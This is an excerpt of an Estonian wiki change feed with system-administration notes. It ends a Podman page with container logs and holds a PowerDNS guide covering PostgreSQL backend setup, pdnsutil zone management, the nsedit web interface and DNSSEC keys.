Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: nginx/1.29.8&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: built by gcc 15.2.0 (Alpine 15.2.0)&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: OS: Linux 6.12.74+deb13+1-amd64&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 524288:524288&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker processes&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker process 25&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker process 26&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Olukorra küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ loginctl user-status&lt;br /&gt;
kasutaja (1000)&lt;br /&gt;
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago&lt;br /&gt;
   State: active&lt;br /&gt;
Sessions: *69 68&lt;br /&gt;
  Linger: no&lt;br /&gt;
    Unit: user-1000.slice&lt;br /&gt;
          ├─session-69.scope&lt;br /&gt;
          │ ├─3556 &amp;quot;sshd-session: kasutaja [priv]&amp;quot;&lt;br /&gt;
          │ ├─3563 &amp;quot;sshd-session: kasutaja@pts/1&amp;quot;&lt;br /&gt;
          │ ├─3564 -bash&lt;br /&gt;
          │ ├─3883 loginctl user-status&lt;br /&gt;
          │ └─3884 pager&lt;br /&gt;
          └─user@1000.service&lt;br /&gt;
            ├─app.slice&lt;br /&gt;
            │ ├─nginx-08.service&lt;br /&gt;
            │ │ ├─libpod-payload-bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045&lt;br /&gt;
            │ │ │ ├─3485 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
            │ │ │ ├─3537 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │ │ │ └─3538 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │ │ └─runtime&lt;br /&gt;
            │ │   ├─3464 /usr/bin/pasta --config-net -t 8098-8098:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-91377314-f55f-138d-42af-3d324176cd02 --map-guest-addr &amp;gt;&lt;br /&gt;
            │ │   └─3480 /usr/bin/conmon --api-version 1 -c bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045 -u bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045 -r /usr/bin/crun -b /home/kasutaja/.lo&amp;gt;&lt;br /&gt;
            │ └─nginx-09.service&lt;br /&gt;
            │   ├─libpod-payload-a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a&lt;br /&gt;
            │   │ ├─3484 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
            │   │ ├─3511 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │   │ └─3512 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │   └─runtime&lt;br /&gt;
            │     ├─3476 /usr/bin/pasta --config-net -t 8099-8099:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-ec2cfa9a-6c8b-0edf-24a2-be75c53feb34 --map-guest-addr &amp;gt;&lt;br /&gt;
            │     └─3481 /usr/bin/conmon --api-version 1 -c a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a -u a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a -r /usr/bin/crun -b /home/kasutaja/.lo&amp;gt;&lt;br /&gt;
            ├─init.scope&lt;br /&gt;
            │ ├─3376 /usr/lib/systemd/systemd --user&lt;br /&gt;
            │ └─3378 &amp;quot;(sd-pam)&amp;quot;&lt;br /&gt;
            ├─session.slice&lt;br /&gt;
            │ └─dbus.service&lt;br /&gt;
            │   └─3536 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only&lt;br /&gt;
            └─user.slice&lt;br /&gt;
              └─podman-pause-407bd36c.scope&lt;br /&gt;
                └─3427 catatonit -P&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===podhost podide vaheline võrk===&lt;br /&gt;
&lt;br /&gt;
Selleks, et ühe ja sama podhost peal töötavad pod'id omavahel saaksid üle võrgu suhelda sobib kasutada sellist asjakorraldust&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://passt.top/&lt;br /&gt;
* youtube 'Getting started with Podman' by SRKMasterStack&lt;br /&gt;
* 'Podman for DevOps - Second Edition' - Alessandro Arrichiello, Gianni Salinetti&lt;br /&gt;
* https://www.hackerstack.org/understanding-linux-namespaces/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4226</id>
		<title>PowerDNS Authoritative Server nimeserveri kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4226"/>
		<updated>2026-06-15T19:11:47Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* PowerDNS-Admin paigaldamine - NginX docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PowerDNS https://www.powerdns.com/ on üks populaarsetest vaba tarkvaralistest nn alternatiivsetest DNS serveritest, kuigi 'alternatiivse' kohta väidetavalt teda kasutatakse väga massiliselt DNSSEC jaoks. PowerDNS tarkvara võimaldab pidada täielist DNS infrastruktuuri, sh slave ja master pädevate nimeserverite erinevad konfiguratsioonid. PowerDNS tarkvara komplekti kuuluvad&lt;br /&gt;
&lt;br /&gt;
* PowerDNS Authoritative Server - pädev nimeserver&lt;br /&gt;
* PowerDNS Recursor - rekursiivne nimeserver&lt;br /&gt;
* dnsdist - koormusjaotur&lt;br /&gt;
&lt;br /&gt;
PowerDNS Authoritative Server tarkvaral on sellised tunnused&lt;br /&gt;
&lt;br /&gt;
* võimalus kasutada andmete salvestamiseks erinevaid nn backend'isid (nn plain text, sql andmebaas, ldap kataloog jne)&lt;br /&gt;
* väga mugavalt korraldada DNSSEC tsooni pidamist&lt;br /&gt;
* tsoonide käsitlemine (tekitamine, sisu muutmine, eemaldamine) on võimalik üle nn API&lt;br /&gt;
* eksisteerivad mitmesugused veebipõhised tsoonide haldusliidesed (otse baasi ja üle API)&lt;br /&gt;
* ebamugav on kontrollida, kust tsooni kopeeritakse, kuhu notify saadetakse ja kust lubatakse tsooni kopeerida&lt;br /&gt;
&lt;br /&gt;
Haldusliidesed jagunevad kaheks&lt;br /&gt;
&lt;br /&gt;
* kirjutavad otse samasse sql baasi, mida kasutab PowerDNS ja tegelikult töötavadki ainult SQL backendide puhul - nt Poweradmin, http://www.poweradmin.org/&lt;br /&gt;
* suhtlevad PowerDNS'iga üle API, töötavad kõigi backendide puhul - nt nsedit, https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
Järgnevas tekstis öeldakse lühiduse mõttes PowerDNS ja mõeldakse PowerDNS Authoritative Server ehk pädevat komponenti.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara saab kasutada erinevates konfiguratsioonides&lt;br /&gt;
&lt;br /&gt;
* nö suure pildi mõttes, nt PowerDNS on varjatud master ja avalikus võrgus teenindavad NSD nimeserverid (alternatiiv oleks pidada PowerDNS nimeserverit otse avalikus võrgus)&lt;br /&gt;
* PowerDNS enda komponentidest on välja valitud mingi komplekt, nt baas osa ja PostgreSQL backend (alternatiiv oleks BIND formaadis tekstifailid failisüsteemis)&lt;br /&gt;
* tsooniandmete haldamiseks kasutatakse käsurea utiliiti pdnsutil ja nsedit php rakendust&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis keskendutakse just mainitud konfiguratsioonile. Kui PowerDNS kasutab SQL backendi, siis avaliku pädeva DNS teenuse pakkumise juures tekitab see vähemalt esmapilgul kahtlusi. Võib olla on hea mõte tekitada varjatud masteriga lahendus&lt;br /&gt;
&lt;br /&gt;
      ans1 (NSD)                                   ans2 (NSD)&lt;br /&gt;
      _____                                        _____&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |_____| port 8952                            |_____| port 8952&lt;br /&gt;
        |                                            |&lt;br /&gt;
        |                                            |&lt;br /&gt;
    ----|---------------------|----------------------|----&lt;br /&gt;
                              |&lt;br /&gt;
                            __|__&lt;br /&gt;
                           |     | nimetaja (PowerDNS)&lt;br /&gt;
                           |     |&lt;br /&gt;
                           |_____|&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ans1, ans2 - avalikud pädevad nimeserverid, tehniliselt slave'id&lt;br /&gt;
* nimetaja - varjatud pädev nimeserver, tehniliselt master&lt;br /&gt;
* üle port 8952 saab nsd protsessi eemalt juhtida (alternatiiv on juhtida nö tavalisel viisil, lokaalselt)&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis pööratakse NSD tarkvara kasutamisele tähelepanu minimaalselt. NSD tekst asub aadressil [[:Pädeva nimeserveri NSD v. 4 kasutamine operatsioonisüsteemiga Debian]].&lt;br /&gt;
&lt;br /&gt;
===Tarkvara paigaldamine ja seadistamine===&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks on üldiselt kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* operatsioonisüsteemi paketihaldus&lt;br /&gt;
* PowerDNS repositoorium - https://repo.powerdns.com/&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara on jaotatud komponentideks&lt;br /&gt;
&lt;br /&gt;
* üldosa&lt;br /&gt;
* tsoonidega seotud andmete salvesamiseks erinevad backendid (failisüsteem, SQL andembaas jne)&lt;br /&gt;
&lt;br /&gt;
Kui asutakse kasutama SQL backendi, siis võib olla otstarbekas enne PowerDNS vastava backendi paigaldamist baas ise paigaldada ja käivitada; nt nt see baas ei pruugi olla tingimata samas arvutis. Teisipidi, mugavam on samas arvutis, kuna sel juhul baasi saab lähtestada dbconfig süsteemi abil; lisaks, kui kasutatakse DNSSEC'i, siis arvestada, et krüptomaterjal asub baasis. Käesolevas tekstis paigaldatakse tarkvara PowerDNS repositooriumist kuna seal on alati kõige värskem.&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL andmebaasi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara ei ole PostgreSQL andmebaasi versiooni suhtes nõudlik, tõenäoliselt sobib igasugune v. 9.x ja nt en_US.UTF-8 kodeering&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postgresql&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine PowerDNS repositooriumist====&lt;br /&gt;
&lt;br /&gt;
PowerDNS repositoorium asub aadressil https://repo.powerdns.com/ ja kasutamine (Debian v. 9 Stretch juhtumil)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/apt/sources.list.d/pdns.list &lt;br /&gt;
 deb http://repo.powerdns.com/debian stretch-auth-master main&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # curl https://repo.powerdns.com/CBC8B383-pub.asc | sudo apt-key add -&lt;br /&gt;
 # apt-get update&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks öelda (paistab, et bind backend paigaldatakse lisaks paratamatult)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-pgsql&lt;br /&gt;
&lt;br /&gt;
seejuures on valik paigaldada baas db-config süsteemi abil ja see validagi. Tulemusena tekitatakse baasi baasi kasutaja, create database, initsiliseeritakse baasi sisu ning kirjeldatakse PowerDNS backend seadistus&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.d/pdns.local.gpgsql.conf&lt;br /&gt;
 # PostgreSQL Configuration&lt;br /&gt;
 #&lt;br /&gt;
 # Launch gpgsql backend&lt;br /&gt;
 launch+=gpgsql&lt;br /&gt;
 &lt;br /&gt;
 # gpgsql parameters&lt;br /&gt;
 gpgsql-host=127.0.0.1&lt;br /&gt;
 gpgsql-port=&lt;br /&gt;
 gpgsql-dbname=pdns&lt;br /&gt;
 gpgsql-user=pdns&lt;br /&gt;
 gpgsql-password=pdnsparool&lt;br /&gt;
 gpgsql-dnssec=yes&lt;br /&gt;
&lt;br /&gt;
Vaikimisi käivitatakse PowerDNS protsessid ning natuke saab asuda süsteemi kasutama&lt;br /&gt;
&lt;br /&gt;
 # pdns_control list-zones&lt;br /&gt;
 All zonecount:0&lt;br /&gt;
&lt;br /&gt;
Järgmisena tuleb PowerDNS server seadistada.&lt;br /&gt;
&lt;br /&gt;
====Käsitsi baasi lähtestamine====&lt;br /&gt;
&lt;br /&gt;
Kui db-config süsteemi mitte kasutada, sobib tekitada kasutaja ja create database andmebaas käsitsi&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql&lt;br /&gt;
 ..&lt;br /&gt;
 postgres=# create role pdns login password 'pdnsparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
 postgres=# create database pdns owner = pdns;&lt;br /&gt;
&lt;br /&gt;
ning seejärel laadida baasi sisu, õieti struktuur&lt;br /&gt;
&lt;br /&gt;
 # psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
&lt;br /&gt;
Lisaks peab olema seadistusfail /etc/powerdns/pdns.d/pdns.local.gpgsql.conf sobiva sisuga, vt. eelmist punkti.&lt;br /&gt;
&lt;br /&gt;
===Tarkvara seadistamine===&lt;br /&gt;
&lt;br /&gt;
Üldosa sobiks kokkuvõttes seadistada nt nii&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf &lt;br /&gt;
 allow-axfr-ips=127.0.0.0/8,::1,192.168.1.210&lt;br /&gt;
 also-notify=192.168.1.210&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=midagisalajast123&lt;br /&gt;
 default-soa-mail=hostmaster.moraal.ee.&lt;br /&gt;
 default-soa-name=ans1.moraal.ee.&lt;br /&gt;
 include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
 launch=&lt;br /&gt;
 master=yes&lt;br /&gt;
 only-notify=192.168.1.210&lt;br /&gt;
 security-poll-suffix=&lt;br /&gt;
 setgid=pdns&lt;br /&gt;
 setuid=pdns&lt;br /&gt;
 slave=yes&lt;br /&gt;
 soa-expire-default=3600000&lt;br /&gt;
 soa-minimum-ttl=3600&lt;br /&gt;
 soa-refresh-default=86400&lt;br /&gt;
 soa-retry-default=7200&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* allow-axfr-ips - millistelt ip aadressidelt on lubatud axfr&lt;br /&gt;
* also-notify - millistele ip aadressidel töötavatele nimeserveritele saata notify&lt;br /&gt;
* api* - api kasutamine (vajalik veebipõhise haldusliidese nsedit jaoks)&lt;br /&gt;
* default-soa-* - uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* only-notify - notify saadetakse ainult näidatud ip aadressidele (mitte tsoonifailides siselduvatele NS serveritele)&lt;br /&gt;
* soa-* uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* webserver* - powerdns sisemise veebiserveri ip aadress jms (saab uurida protsesside statistikat)&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks lõpetada ja käivitada pdns protsessid&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop pdns&lt;br /&gt;
 # systemctl start pdns&lt;br /&gt;
&lt;br /&gt;
===Tsooni sisu haldamine käsurealt===&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu haldamine käsurealt toimub utiliidi pdnsutil abil. Uue tühja tsooni tekitamine (sisaldab SOA kirjet), seejärel tuleb vähemalt NS kirje tekitada (nb! nii tekib Native tüüpi tsoon)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tsooni Native -&amp;gt; Master teisendus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-kind moraal.ee master&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil list-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Sisu muutmiseks, sh muuta käsitsi SOA serial&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil edit-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
utiliidiga seriali suurendamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # dig @127.0.0.1 moraal.ee axfr&lt;br /&gt;
&lt;br /&gt;
Notify käsitsi välja saatmiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify moraal.ee&lt;br /&gt;
 Added to queue&lt;br /&gt;
&lt;br /&gt;
Kirje lisamine (lisaks tuleb increase serial öelda)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-record moraal.ee imre5 A 300 &amp;quot;127.0.0.5&amp;quot;&lt;br /&gt;
 Feb 21 10:20:54 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 New rrset:&lt;br /&gt;
 imre5.moraal.ee. IN A 300 127.0.0.5&lt;br /&gt;
&lt;br /&gt;
===Veebipõhine haldusliides nsedit===&lt;br /&gt;
&lt;br /&gt;
Veebipõhiste haldusliideste abil saab&lt;br /&gt;
&lt;br /&gt;
* tekitada ja kustutada tsoone, muuta tsoonide sisu&lt;br /&gt;
* loodetavasti haldusliidese abil jäävad tegemata mingid süntaksivead, mida on kerge teha nn BIND-ühilduvat tsoonifaili tavalise tekstieditoriga otse muutes&lt;br /&gt;
* tsooni sisu halduse saab usaldada mitte-vi/joe/nano ekspertiisiga inimesele&lt;br /&gt;
&lt;br /&gt;
Paistab, et veebipõhiseid haldusliideseid on omajagu, https://github.com/PowerDNS/pdns/wiki/WebFrontends. nsedit on PHP rakendus. Märkused&lt;br /&gt;
&lt;br /&gt;
* Tsoonis tehtud muudatustega kaasneb automaatselt SOA seriali suurenemine&lt;br /&gt;
* Veebiliideses tehtud muudatused ei kajastu alati sama veebiliideses koheselt (nt SOA seriali muutumine, välja ja sisselogimise järel on näha)&lt;br /&gt;
* nsedit esitab muudatuste logi&lt;br /&gt;
* toimib ipv6 jaoks&lt;br /&gt;
* nn õäöü tähti sisaldavaid nimesid sisestada otseselt ei saa&lt;br /&gt;
* rakenduse võib paigaldada http:// peale ja seejärel muuta veebiserveri seadistusi ning kasutada edasi https:// abil&lt;br /&gt;
* nsedit ei pea asuma samas arvutis PowerDNS serveriga, suhtlemine toimub üle võrgu ja kasutades API liidest&lt;br /&gt;
&lt;br /&gt;
====Ettevalmistused====&lt;br /&gt;
&lt;br /&gt;
nsedit kasutamise eelduseks on selline tarkvara&lt;br /&gt;
&lt;br /&gt;
 # apt-get install apache2 php git php-sqlite3 php-curl&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Kopeerida tarkvara, tundub, et 2017 aasta alguses on praktiline võtta git repo viimane ots&lt;br /&gt;
&lt;br /&gt;
 # cd /var/www/html&lt;br /&gt;
 # git clone https://github.com/tuxis-ie/nsedit.git&lt;br /&gt;
&lt;br /&gt;
Tekitada php skriptide jaoks kasutaja:grupp&lt;br /&gt;
&lt;br /&gt;
 # groupadd nsedit&lt;br /&gt;
 # useradd -g nsedit -m -d /opt/nsedit -s /bin/false nsedit&lt;br /&gt;
&lt;br /&gt;
Avades brauseris http://pdns.moraal.ee/nsedit küsitakse parooli, vaikimisi sobib admin ja admin mille järel&lt;br /&gt;
&lt;br /&gt;
* kontrollitakse vajalike teekide olemasolu&lt;br /&gt;
* moodustatakse sqlite3 andmebaas&lt;br /&gt;
&lt;br /&gt;
 # sqlite3 /var/www/html/etc/pdns.users.sqlite3&lt;br /&gt;
 ..&lt;br /&gt;
 sqlite&amp;gt; .tables&lt;br /&gt;
 logs   users  zones&lt;br /&gt;
&lt;br /&gt;
nsedit seadistatakse failis /var/www/html/nsedit/includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
 # cp includes/config.inc.php-dist includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
* ühendust powerdns serveriga üle api juhib sektsioon&lt;br /&gt;
&lt;br /&gt;
 # cat /var/www/html/nsedit/includes/config.inc.php | grep '^$api'&lt;br /&gt;
 $apipass = 'apiparool';           # The PowerDNS API-key&lt;br /&gt;
 $apiip   = '10.0.9.18';           # The IP of the PowerDNS API&lt;br /&gt;
 $apiport = '8081';       # The port of the PowerDNS API&lt;br /&gt;
 $apiproto      = 'http'; # http | https&lt;br /&gt;
 $apisslverify  = FALSE;  # Verify SSL Certificate if using https for apiproto&lt;br /&gt;
&lt;br /&gt;
* vaikeväärtuste kasutamiset haldusliideses kontrollib&lt;br /&gt;
&lt;br /&gt;
 $defaults['soa_edit']    = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['soa_edit_api'] = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['defaulttype'] = 'Master';                    # Choose between 'Native' or 'Master'&lt;br /&gt;
 $defaults['ns'][0] = 'ns1.moraal.ee.';         # The value of the first NS-record&lt;br /&gt;
 $defaults['ns'][1] = 'ns2.moraal.ee.';       # The value of the second NS-record&lt;br /&gt;
 $defaults['ttl']   = 3600;                              # Default TTL for records&lt;br /&gt;
 $defaults['disabled'] = false;                          # Default disabled state&lt;br /&gt;
&lt;br /&gt;
Kasutajaliides paistab välja selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Kui rakendus töötab, muuta rakenduse failide omanik:grupp ära&lt;br /&gt;
&lt;br /&gt;
 # chown -R nsedit:nsedit /var/www/html/nsedit&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
* Kasutajate lisamine, valida (ning märkida linnuke admin user jaoks), tulemusena on nsedit logid paremad&lt;br /&gt;
&lt;br /&gt;
 Users -&amp;gt; Add new user &lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine, valida&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Add new zone&lt;br /&gt;
&lt;br /&gt;
ning sisestada Domain lahtrisse domeeninimi, lõpetades punktiga, nt&lt;br /&gt;
&lt;br /&gt;
 test-1.ee.&lt;br /&gt;
&lt;br /&gt;
Kõik muud valikud jätta vaikimisi&lt;br /&gt;
&lt;br /&gt;
 Account - admin&lt;br /&gt;
 Type - master&lt;br /&gt;
 Template - None&lt;br /&gt;
&lt;br /&gt;
Kuna pdns serveri seadistusfailisis on näidatus SOA kirje väärtused ja nsedit seadisusfailis on kirjeldatud nimeserverid, siis tekib vaikimisi kastutatav tulemus.&lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine kirjeldades korraga palju kirjeid (nt tsooni ületoomisel eelmise dns teenusepakkuja juurest)&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Import a new zone&lt;br /&gt;
&lt;br /&gt;
seejuures&lt;br /&gt;
&lt;br /&gt;
 avanenud dialoogi pasteda tsoonifaili sisu&lt;br /&gt;
 eemaldada SOA kirje&lt;br /&gt;
 asendada NS kirjetesse õiged väärtused&lt;br /&gt;
 kõik nimed (kirje kõige vasem positsioon) peavad olema pikad ja lõppema punktiga&lt;br /&gt;
 eemaldada linnuke 'Overwrite Nameservers' juurest&lt;br /&gt;
&lt;br /&gt;
* Mitme elemendilise väärtuse puhul tuleb see nii sisestada, nt MX kirje puhul&lt;br /&gt;
&lt;br /&gt;
 10 mx.moraal.ee.&lt;br /&gt;
&lt;br /&gt;
* Eeldusel, et on olemas Content tulbas kasutatav A kirje ip aadressile vastav in-addr.arpa tsoon, saab nsedit abil tekitada automaatselt PTR kirje.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni esmane juurutamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et uuemal ajal saab DNSSEC juures kasatada CSK (Combined Signing Key) võtit ja seda kasutab PowerDNS vaikimisi, kuid samas CSK võtmeid registripidajad eriti ei toeta. Ja PowerDNS toetab ka nö klassikalist KSK+ZSK komplekti kasutamist.&lt;br /&gt;
&lt;br /&gt;
====KSK ja ZSK võtmete kasutamine====&lt;br /&gt;
&lt;br /&gt;
Võtmete tsooniga seostamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee zsk 1024 active rsasha256&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 5 0...f'&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
mis&lt;br /&gt;
&lt;br /&gt;
* tekitab võtmed&lt;br /&gt;
* kui set-meta kogemata vääratab, nt lisati SOA-EDIT-SOA, siis saab meta data eemaldada, st näitamata väärtust&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-SOA&lt;br /&gt;
&lt;br /&gt;
* võtab kasutusele nsec3 hash'ide arvutamiseks vajaliku materjali (0-f on 16-elemendiline juhuslik hex järgnevus, mis saadake nt nii&lt;br /&gt;
&lt;br /&gt;
 $ head -c 512 /dev/urandom | sha1sum | cut -b 1-16&lt;br /&gt;
 7bc59a6dd87fa477&lt;br /&gt;
&lt;br /&gt;
ja ideaalis võiks seda regulaarselt muuta), nt&lt;br /&gt;
&lt;br /&gt;
 $ dig +short moraal.ee nsec3param&lt;br /&gt;
 1 0 5 E7544BB6070C3E0F&lt;br /&gt;
&lt;br /&gt;
(kus 1 - sha1, 0 - opt-out, 5 - iterations, E7544BB6070C3E0F - salt)&lt;br /&gt;
&lt;br /&gt;
* INCEPTION-INCREMENT rida seadistab selliselt, et kui automaaselt tsooni andmed resigneeritakse, siis suurendatakse ka seriali (muidu ei toimu notify ja andmed ei jõua avalikesse pädevatesse nimeserveritesse)&lt;br /&gt;
* rectify tuleb põhimõtteliselt öelda peale iga tsooni muudatust, et olla täiesti kindel tsooni toimimises; kui PowerDNS kasutatakse avalike nimeserverite varjatud masterina, pole see probleem&lt;br /&gt;
&lt;br /&gt;
ning tsooni andmed paistavad&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
 Nov 06 23:49:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 This is a Master zone&lt;br /&gt;
 Last SOA serial number we notified: 2016103003 == 2016103003 (serial in the database)&lt;br /&gt;
 Metadata items: &lt;br /&gt;
        SOA-EDIT        INCEPTION-INCREMENT&lt;br /&gt;
        SOA-EDIT-API    INCEPTION-INCREMENT&lt;br /&gt;
 Zone has NSEC3 semantics, configuration: 1 0 1 ab&lt;br /&gt;
 keys: &lt;br /&gt;
 ID = 11 (ZSK), flags = 256, tag = 26589, algo = 8, bits = 1024    Active ( RSASHA256 ) &lt;br /&gt;
 ID = 10 (KSK), flags = 257, tag = 53461, algo = 8, bits = 2048    Active ( RSASHA256 ) &lt;br /&gt;
 KSK DNSKEY = moraal.ee. IN DNSKEY 257 3 8  AwEAAcn... TQcnQstT+tU= ; ( RSASHA256 )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 1 6c123b39076072da... c66f62b1e3c388b86b7f ; ( SHA1 digest )&lt;br /&gt;
